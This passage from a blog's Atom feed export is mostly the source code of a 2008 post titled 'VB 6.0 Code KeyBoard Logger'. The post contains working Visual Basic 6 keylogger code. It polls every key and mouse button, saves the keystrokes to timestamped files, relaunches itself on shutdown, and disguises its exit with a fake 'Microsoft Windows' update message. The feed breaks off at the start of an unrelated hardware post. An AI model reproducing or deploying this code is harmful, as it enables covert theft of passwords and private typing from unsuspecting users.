/&gt; ElseIf KeyE &gt;= 0 And KeyEPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "e"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyEPre = KeyE&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyF = GetKeyState(vbKeyF)&lt;br /&gt;     If KeyF &gt;= 0 And KeyFPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "F"&lt;br /&gt;&lt;br /&gt; ElseIf KeyF &gt;= 0 And KeyFPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "f"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyFPre = KeyF&lt;br /&gt;    &lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyG = GetKeyState(vbKeyG)&lt;br /&gt;     If KeyG &gt;= 0 And KeyGPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "G"&lt;br /&gt;&lt;br /&gt; ElseIf KeyG &gt;= 0 And KeyGPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "g"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyGPre = KeyG&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyH = GetKeyState(vbKeyH)&lt;br /&gt;     If KeyH &gt;= 0 And KeyHPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "H"&lt;br /&gt;&lt;br /&gt; ElseIf KeyH &gt;= 0 And KeyHPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "h"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyHPre = KeyH&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyI = GetKeyState(vbKeyI)&lt;br /&gt;     If KeyI &gt;= 0 And KeyIPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "I"&lt;br /&gt;&lt;br /&gt; ElseIf KeyI &gt;= 0 And KeyIPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "i"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyIPre = KeyI&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyJ = GetKeyState(vbKeyJ)&lt;br /&gt;     If KeyJ &gt;= 0 And KeyJPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "J"&lt;br /&gt;&lt;br /&gt; ElseIf KeyJ &gt;= 0 And KeyJPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "j"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyJPre = KeyJ&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyK = GetKeyState(vbKeyK)&lt;br /&gt;     If KeyK &gt;= 0 And KeyKPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "K"&lt;br /&gt;&lt;br /&gt; ElseIf KeyK &gt;= 0 And KeyKPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "k"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyKPre = KeyK&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyL = GetKeyState(vbKeyL)&lt;br /&gt;     If KeyL &gt;= 0 And KeyLPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "L"&lt;br /&gt;&lt;br /&gt; ElseIf KeyL &gt;= 0 And KeyLPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "l"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyLPre = KeyL&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyM = GetKeyState(vbKeyM)&lt;br /&gt;     If KeyM &gt;= 0 And KeyMPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "M"&lt;br /&gt;&lt;br /&gt; ElseIf KeyM &gt;= 0 And KeyMPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "m"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyMPre = KeyM&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyN = GetKeyState(vbKeyN)&lt;br /&gt;     If KeyN &gt;= 0 And KeyNPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "N"&lt;br /&gt;&lt;br /&gt; ElseIf KeyN &gt;= 0 And KeyNPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "n"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNPre = KeyN&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyO = GetKeyState(vbKeyO)&lt;br /&gt;     If KeyO &gt;= 0 And KeyOPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "O"&lt;br /&gt;&lt;br /&gt; ElseIf KeyO &gt;= 0 And KeyOPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "o"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyOPre = KeyO&lt;br /&gt;    &lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyP = GetKeyState(vbKeyP)&lt;br /&gt;     If KeyP &gt;= 0 And KeyPPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "P"&lt;br /&gt;&lt;br /&gt; ElseIf KeyP &gt;= 0 And KeyPPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "p"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyPPre = KeyP&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyQ = GetKeyState(vbKeyQ)&lt;br /&gt;     If KeyQ &gt;= 0 And KeyQPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "Q"&lt;br /&gt;&lt;br /&gt; ElseIf KeyQ &gt;= 0 And KeyQPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "q"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyQPre = KeyQ&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyR = GetKeyState(vbKeyR)&lt;br /&gt;     If KeyR &gt;= 0 And KeyRPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "R"&lt;br /&gt;&lt;br /&gt; ElseIf KeyR &gt;= 0 And KeyRPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "r"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyRPre = KeyR&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyS = GetKeyState(vbKeyS)&lt;br /&gt;     If KeyS &gt;= 0 And KeySPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "S"&lt;br /&gt;&lt;br /&gt; ElseIf KeyS &gt;= 0 And KeySPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "s"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeySPre = KeyS&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyT = GetKeyState(vbKeyT)&lt;br /&gt;     If KeyT &gt;= 0 And KeyTPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "T"&lt;br /&gt;&lt;br /&gt; ElseIf KeyT &gt;= 0 And KeyTPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "t"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyTPre = KeyT&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyU = GetKeyState(vbKeyU)&lt;br /&gt;     If KeyU &gt;= 0 And KeyUPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "U"&lt;br /&gt;&lt;br /&gt; ElseIf KeyU &gt;= 0 And KeyUPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "u"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyUPre = KeyU&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyV = GetKeyState(vbKeyV)&lt;br /&gt;     If KeyV &gt;= 0 And KeyVPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "V"&lt;br /&gt;&lt;br /&gt; ElseIf KeyV &gt;= 0 And KeyVPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "v"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyVPre = KeyV&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyX = GetKeyState(vbKeyX)&lt;br /&gt;     If KeyX &gt;= 0 And KeyXPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "X"&lt;br /&gt;&lt;br /&gt; ElseIf KeyX &gt;= 0 And KeyXPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "x"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyXPre = KeyX&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyW = GetKeyState(vbKeyW)&lt;br /&gt;     If KeyW &gt;= 0 And KeyWPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "W"&lt;br /&gt;&lt;br /&gt; ElseIf KeyW &gt;= 0 And KeyWPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "w"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyWPre = KeyW&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyY = GetKeyState(vbKeyY)&lt;br /&gt;     If KeyY &gt;= 0 And KeyYPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "Y"&lt;br /&gt;&lt;br /&gt; ElseIf KeyY &gt;= 0 And KeyYPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "y"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyYPre = KeyY&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyZ = GetKeyState(vbKeyZ)&lt;br /&gt;     If KeyZ &gt;= 0 And KeyZPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "Z"&lt;br /&gt;&lt;br /&gt; ElseIf KeyZ &gt;= 0 And KeyZPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "z"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyZPre = KeyZ&lt;br /&gt;  '************************************************************&lt;br /&gt;   Keydot1 = GetKeyState(110)&lt;br /&gt;     If Keydot1 &gt;= 0 And keydot1pre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "."&lt;br /&gt;&lt;br /&gt; ElseIf Keydot1 &gt;= 0 And keydot1pre &lt; 0 Then&lt;br /&gt; strContent = strContent + "."&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     keydot1pre = Keydot1&lt;br /&gt;    &lt;br /&gt;    '************************************************************&lt;br /&gt;  KeyDot = GetKeyState(190)&lt;br /&gt;     If KeyDot &gt;= 0 And KeyDotpre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; 'strContent = strContent + "."&lt;br /&gt;&lt;br /&gt; ElseIf KeyDot &gt;= 0 And KeyDotpre &lt; 0 Then&lt;br /&gt; strContent = strContent + "."&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyDotpre = KeyDot&lt;br /&gt;     &lt;br /&gt;     '****************************************************************&lt;br /&gt;  KeyMouseLeft = GetKeyState(vbKeyLButton)&lt;br /&gt;     If KeyMouseLeft &gt;= 0 And KeyMouseLeftPre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + SpecChar + "MLeft" + SpecChar&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyMouseLeftPre = KeyMouseLeft&lt;br /&gt;      '**********************************************************&lt;br /&gt;   &lt;br /&gt;  KeyMouseright = GetKeyState(vbKeyRButton)&lt;br /&gt;     If KeyMouseright &gt;= 0 And keyMouseRightPre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + " &lt;mouseright&gt; "&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     keyMouseRightPre = KeyMouseright&lt;br /&gt;    &lt;br /&gt;    &lt;br /&gt;        '**********************************************************&lt;br /&gt;   &lt;br /&gt;  KeyEnter = GetKeyState(vbKeyReturn)&lt;br /&gt;     If KeyEnter &gt;= 0 And KeyEnterPre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "  &lt;keyenter&gt; "&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyEnterPre = KeyEnter&lt;br /&gt;          '**********************************************************&lt;br /&gt;   &lt;br /&gt;  KeyTab = GetKeyState(vbKeyTab)&lt;br /&gt;     If KeyTab &gt;= 0 And KeyTabPre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + SpecChar + "tab" + SpecChar&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyTabPre = KeyTab&lt;br /&gt;       &lt;br /&gt;  '**********************************************************&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;  KeySpace = GetKeyState(vbKeySpace)&lt;br /&gt;     If KeySpace &gt;= 0 And KeySpacePre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + " "&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeySpacePre = KeySpace&lt;br /&gt;&lt;br /&gt;  '**********************************************************&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;  KeyNUM0 = GetKeyState(vbKeyNumpad0)&lt;br /&gt;     If KeyNUM0 &gt;= 0 And KeyNUM0Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "0"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM0Pre = KeyNUM0&lt;br /&gt;       '**********************************************************&lt;br /&gt;  KeyNUM1 = GetKeyState(vbKeyNumpad1)&lt;br /&gt;     If KeyNUM1 &gt;= 0 And KeyNUM1Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "1"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM1Pre = KeyNUM1&lt;br /&gt;   '**********************************************************&lt;br /&gt;  KeyNUM2 = GetKeyState(vbKeyNumpad2)&lt;br /&gt;     If KeyNUM2 &gt;= 0 And KeyNUM2Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "2"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM2Pre = KeyNUM2&lt;br /&gt;        '**********************************************************&lt;br /&gt;  KeyNUM3 = GetKeyState(vbKeyNumpad3)&lt;br /&gt;     If KeyNUM3 &gt;= 0 And KeyNUM3Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "3"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM3Pre = KeyNUM3&lt;br /&gt;   '**********************************************************&lt;br /&gt;  KeyNUM4 = GetKeyState(vbKeyNumpad4)&lt;br /&gt;     If KeyNUM4 &gt;= 0 And KeyNUM4Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "4"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM4Pre = KeyNUM4&lt;br /&gt;   '**********************************************************&lt;br /&gt;  KeyNUM5 = GetKeyState(vbKeyNumpad5)&lt;br /&gt;     If KeyNUM5 &gt;= 0 And KeyNUM5Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "5"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM5Pre = KeyNUM5&lt;br /&gt;   '**********************************************************&lt;br /&gt;  KeyNUM6 = GetKeyState(vbKeyNumpad6)&lt;br /&gt;     If KeyNUM6 &gt;= 0 And KeyNUM6Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "6"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM6Pre = KeyNUM6&lt;br /&gt;   '**********************************************************&lt;br /&gt;  KeyNUM7 = GetKeyState(vbKeyNumpad7)&lt;br /&gt;     If KeyNUM7 &gt;= 0 And KeyNUM7PRE &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "7"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM7PRE = KeyNUM7&lt;br /&gt;   '**********************************************************&lt;br /&gt;  KeyNUM8 = GetKeyState(vbKeyNumpad8)&lt;br /&gt;     If KeyNUM8 &gt;= 0 And KeyNUM8Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "8"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM8Pre = KeyNUM8&lt;br /&gt;   '**********************************************************&lt;br /&gt;  KeyNUM9 = GetKeyState(vbKeyNumpad9)&lt;br /&gt;     If KeyNUM9 &gt;= 0 And KeyNUM9Pre &lt; 0 Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "9"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyNUM9Pre = KeyNUM9&lt;br /&gt;&lt;br /&gt; '**********************************************************&lt;br /&gt;   Key0 = GetKeyState(vbKey0)&lt;br /&gt;     If Key0 &gt;= 0 And Key0Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + ")"&lt;br /&gt; ElseIf Key0 &gt;= 0 And Key0Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "0"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key0Pre = Key0&lt;br /&gt; '**********************************************************&lt;br /&gt; Key1 = GetKeyState(vbKey1)&lt;br /&gt;     If Key1 &gt;= 0 And Key1Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "!"&lt;br /&gt; ElseIf Key1 &gt;= 0 And Key1Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "1"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key1Pre = Key1&lt;br /&gt;    '**********************************************************&lt;br /&gt;  Key2 = GetKeyState(vbKey2)&lt;br /&gt;     If Key2 &gt;= 0 And Key2Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "@"&lt;br /&gt; ElseIf Key2 &gt;= 0 And Key2Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "2"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key2Pre = Key2&lt;br /&gt;    '**********************************************************&lt;br /&gt;  Key3 = GetKeyState(vbKey3)&lt;br /&gt;     If Key3 &gt;= 0 And Key3Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "#"&lt;br /&gt; ElseIf Key3 &gt;= 0 And Key3Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "3"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key3Pre = Key3&lt;br /&gt;    '**********************************************************&lt;br /&gt;   Key4 = GetKeyState(vbKey4)&lt;br /&gt;     If Key4 &gt;= 0 And Key4Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "$"&lt;br /&gt; ElseIf Key4 &gt;= 0 And Key4Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "4"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key4Pre = Key4&lt;br /&gt; Key5 = GetKeyState(vbKey5)&lt;br /&gt;     If Key5 &gt;= 0 And Key5Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "%"&lt;br /&gt; ElseIf Key5 &gt;= 0 And Key5Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "5"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key5Pre = Key5&lt;br /&gt;    '**********************************************************&lt;br /&gt;   Key6 = GetKeyState(vbKey6)&lt;br /&gt;     If Key6 &gt;= 0 And Key6Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "^"&lt;br /&gt; ElseIf Key6 &gt;= 0 And Key6Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "6"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key6Pre = Key6&lt;br /&gt;    '**********************************************************&lt;br /&gt;  kEY7 = GetKeyState(vbKey7)&lt;br /&gt;     If kEY7 &gt;= 0 And KEY7pRE &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "&lt;^7*&gt;"&lt;br /&gt; ElseIf kEY7 &gt;= 0 And KEY7pRE &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "7"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KEY7pRE = kEY7&lt;br /&gt;    '**********************************************************&lt;br /&gt;  Key8 = GetKeyState(vbKey8)&lt;br /&gt;     If Key8 &gt;= 0 And Key8Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "*"&lt;br /&gt; ElseIf Key8 &gt;= 0 And Key8Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "8"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key8Pre = Key8&lt;br /&gt;    '**********************************************************&lt;br /&gt;   Key9 = GetKeyState(vbKey9)&lt;br /&gt;     If Key9 &gt;= 0 And Key9Pre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "("&lt;br /&gt; ElseIf Key9 &gt;= 0 And Key9Pre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "9"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     Key9Pre = Key9&lt;br /&gt;'*********************************************************&lt;br /&gt;KeyPlus = GetKeyState(187)&lt;br /&gt;     If KeyPlus &gt;= 0 And KeyPluspre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "+"&lt;br /&gt; ElseIf KeyPlus &gt;= 0 And KeyPluspre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "="&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyPluspre = KeyPlus&lt;br /&gt;'*********************************************************&lt;br /&gt;KeyMin = GetKeyState(189)&lt;br /&gt;     If KeyMin &gt;= 0 And KeyMinpre &lt; 0 And boolShiftPresed = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "_"&lt;br /&gt; ElseIf KeyMin &gt;= 0 And KeyMinpre &lt; 0 And boolShiftPresed = False Then&lt;br /&gt; strContent = strContent + "-"&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyMinpre = KeyMin&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub SETCASE()&lt;br /&gt;If boolCapslockOn = False And boolShiftPresed = False Then&lt;br /&gt;BOOLCASE = False&lt;br /&gt;ElseIf boolCapslockOn = False And boolShiftPresed = True Then&lt;br /&gt;BOOLCASE = True&lt;br /&gt;ElseIf boolCapslockOn = True And boolShiftPresed = True Then&lt;br /&gt;BOOLCASE = False&lt;br /&gt;ElseIf boolCapslockOn = True And boolShiftPresed = False Then&lt;br /&gt;BOOLCASE = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;OpenSaveFile&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;strContent = "&lt;start&gt;    " &amp;amp; Format(Date, "yymmdd") &amp;amp; Time &amp;amp; vbNewLine&lt;br /&gt;strFilePath = App.Path + "\" + App.Title + ".exe"&lt;br /&gt;intSpeciachar = 165&lt;br /&gt;SpecChar = Chr(165) + Chr(182)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub rtfcontent_GotFocus()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub OpenSaveFile()&lt;br /&gt;On Error Resume Next&lt;br /&gt;StrTExt = "H"&lt;br /&gt;StrFileName = App.Path &amp;amp; "save\"&lt;br /&gt;MkDir StrFileName&lt;br /&gt;StrFileName = StrFileName &amp;amp; Year(Date)&lt;br /&gt;MkDir StrFileName&lt;br /&gt;StrFileName = StrFileName &amp;amp; "\" &amp;amp; Month(Date)&lt;br /&gt;MkDir StrFileName&lt;br /&gt;StrFileName = StrFileName &amp;amp; "\" &amp;amp; Day(Date)&lt;br /&gt;MkDir StrFileName&lt;br /&gt;StrFileName = StrFileName &amp;amp; "\" &amp;amp; Hour(Time) &amp;amp; Minute(Time) &amp;amp; Second(Time) &amp;amp; ".DCT"&lt;br /&gt;Open StrFileName For Output As #1&lt;br /&gt;Write #1, strContent&lt;br /&gt;Close #1&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)&lt;br /&gt;OpenSaveFile&lt;br /&gt;Select Case UnloadMode&lt;br /&gt;Case 3&lt;br /&gt;&lt;br /&gt;Shell strFilePath, vbNormalFocus&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;End Select&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;Label1.Caption = strContent&lt;br /&gt;SETCASE&lt;br /&gt;scanKeyb&lt;br /&gt;Dim Lens&lt;br /&gt;Lens = Len(strContent)&lt;br /&gt;&lt;br /&gt;If Len(strContent) &gt; 1024 Then&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; OpenSaveFile&lt;br /&gt; strContent = " STARTING  " &amp;amp; Time&lt;br /&gt;&lt;br /&gt; End If&lt;br /&gt; intInd = InStr(strContent, "geffreaenditgeffrea")&lt;br /&gt; If intInd &gt; 0 Then&lt;br /&gt; MsgBox "Ssuccesfuly Updated", vbInformation, "Microsoft Windows"&lt;br /&gt; OpenSaveFile&lt;br /&gt; strContent = ""&lt;br /&gt; Timer1.Enabled = False&lt;br /&gt; Unload Me&lt;br /&gt; End If&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;End Sub&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-2898321272662920081?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/2898321272662920081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=2898321272662920081' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/2898321272662920081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/2898321272662920081'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/10/vb-60-code-keyboard-logger.html' title='VB 6.0 Code KeyBoard Logger'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-6955121113905530481</id><published>2008-10-08T09:27:00.000-07:00</published><updated>2008-10-08T09:28:24.697-07:00</updated><title type='text'>Gigabyte K8NXP-SLI</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 